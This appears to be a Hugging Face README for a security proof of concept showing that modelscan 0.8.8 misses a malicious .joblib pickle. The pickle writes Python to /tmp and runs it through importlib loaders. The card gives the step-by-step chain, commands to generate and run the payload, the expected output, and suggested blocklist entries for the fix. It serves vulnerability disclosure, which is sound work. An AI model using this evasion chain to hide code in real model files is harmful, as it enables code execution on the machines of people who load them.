| --- |
| tags: |
| - security |
| - pickle |
| - proof-of-concept |
| license: mit |
| --- |
| |
| # PoC: modelscan bypass via `_io.TextIOWrapper.write` + `FileLoader.load_module` |
|
|
| **Security research proof-of-concept.** |
| Demonstrates that `modelscan` (v0.8.8) fails to detect a malicious `.joblib` file that achieves arbitrary code execution using only standard-library primitives absent from `unsafe_globals`. |
|
|
| ## Vulnerability summary |
|
|
| modelscan uses a blocklist of dangerous `GLOBAL` opcodes to detect malicious pickle payloads. Six primitives required for a self-contained write-then-execute RCE chain are entirely absent from the blocklist: |
|
|
| | GLOBAL opcode | Why it bypasses modelscan | |
| |---|---| |
| | `io open` | `"io"` key absent from `unsafe_globals` | |
| | `_io TextIOWrapper.write` | `"_io"` key entirely absent from modelscan settings | |
| | `_io TextIOWrapper.flush` | Same | |
| | `_io TextIOWrapper.close` | Same | |
| | `_frozen_importlib_external SourceFileLoader` | Not listed at any severity level | |
| | `_frozen_importlib_external FileLoader.load_module` | Same | |
|
|
| modelscan reports **zero issues**. `joblib.load()` executes attacker-controlled code. |
|
|
| ## Attack chain (single `joblib.load()` call, no preconditions) |
|
|
| ``` |
| io.open("/tmp/_poc.py", "w") -> writable file handle fh |
| _io.TextIOWrapper.write(fh, "import os; os.system('id')") -> writes code to disk |
| _io.TextIOWrapper.flush(fh) + close(fh) |
| SourceFileLoader("x", "/tmp/_poc.py") -> loader |
| FileLoader.load_module(loader, "x") -> executes /tmp/_poc.py -> RCE |
| ``` |
|
|
| No `marshal`, no `types.FunctionType`, no `os.system`, no `subprocess`. |
|
|
| ## Reproduce |
|
|
| ```bash |
| # Install dependencies |
| pip install modelscan joblib |
| |
| # Clone this repo |
| git clone https://huggingface.co/Steven-Ni/modelscan-bypass-poc |
| cd modelscan-bypass-poc |
| |
| # Generate payload (or use pre-built bypass.joblib) |
| python generate_payload.py |
| |
| # Run full reproduction |
| python reproduce.py |
| ``` |
|
|
| ### Expected output |
|
|
| ``` |
| ============================================================ |
| STEP 1: modelscan scan |
| ============================================================ |
| modelscan version : 0.8.8 |
| total_issues : 0 |
| -> CLEAN (false negative confirmed) |
| |
| ============================================================ |
| STEP 2: joblib.load() - payload executes |
| ============================================================ |
| |
| [PoC] _io.TextIOWrapper.write + FileLoader.load_module bypass |
| [PoC] running as: uid=1000(user) gid=1000(user) groups=... |
| [PoC] hostname : victim-machine |
| |
| ============================================================ |
| BYPASS CONFIRMED |
| modelscan reported zero issues. |
| joblib.load() executed attacker-controlled code. |
| ============================================================ |
| ``` |
| |
| ## Affected version |
| |
| | Package | Version | Status | |
| |---|---|---| |
| | modelscan | 0.8.8 (latest) | Vulnerable | |
| |
| ## Technique novelty |
| |
| Prior published write-then-execute chains use `_frozen_importlib_external._write_atomic()` as the write primitive. This PoC uses `io.open` + `_io.TextIOWrapper.write` — a distinct primitive with no prior CVE, GHSA, or public PoC. |
| |
| ## Suggested fix |
| |
| ```python |
| # modelscan/settings.py |
| "CRITICAL": { |
| ... |
| "io": ["open"], |
| "_io": ["TextIOWrapper", "FileIO"], |
| "_frozen_importlib_external": "*", |
| "_frozen_importlib": "*", |
| } |
| ``` |
| |